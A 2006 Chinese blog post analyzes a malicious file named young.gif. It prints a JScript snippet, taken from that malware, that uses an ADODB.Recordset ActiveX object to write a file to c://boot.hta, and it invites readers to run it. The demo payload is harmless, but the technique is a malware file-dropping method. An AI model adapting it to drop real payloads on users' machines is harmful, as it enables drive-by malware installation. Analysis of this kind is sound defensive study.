您的位置:首页 > 编程语言

利用ADODB写文件——恶意文件young.gif代码的分析心得1

2006-04-08 13:50 363 查看
purpleendurer 原创

2006-04-08 第1

对 发现一个使用技术升级、下载灰鸽子的网站 中的恶意文件young.gif进行了分析和注释,收获颇多。其一便是利用ADODB写文件。

下面的代码是从young.gif中截取、修改的,用来写入文件c:/boot.hta。

<html>
<HEAD></HEAD>
</HTML>
<SCRIPT language=JScript>
try
{
 var strHello = "hello";
 //利用ADODB写文件
 Rfuc1k1S=new ActiveXObject("ADODB.Recordset");
 Rfuc1k1S.Fields.Append("love", 200, 3000);
 mike=1;
 Rfuc1k1S.Open();
 mike=1;
 Rfuc1k1S.AddNew();
 mike=1;
 Rfuc1k1S.Fields("love").Value = strHello;
}
catch(e)
{}
 Rfuc1k1S.Update();

try
{
 Rfuc1k1S.Save("c://boot.hta" ,0); //保存为c:/boot.hta
}
catch(e)
{}
</SCRIPT>
</BODY>
</HTML>

 
把它复制/粘贴到记事本里,保存为HTM文件,双击运行。

看看c:/boot.hta是否出来了?
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  html c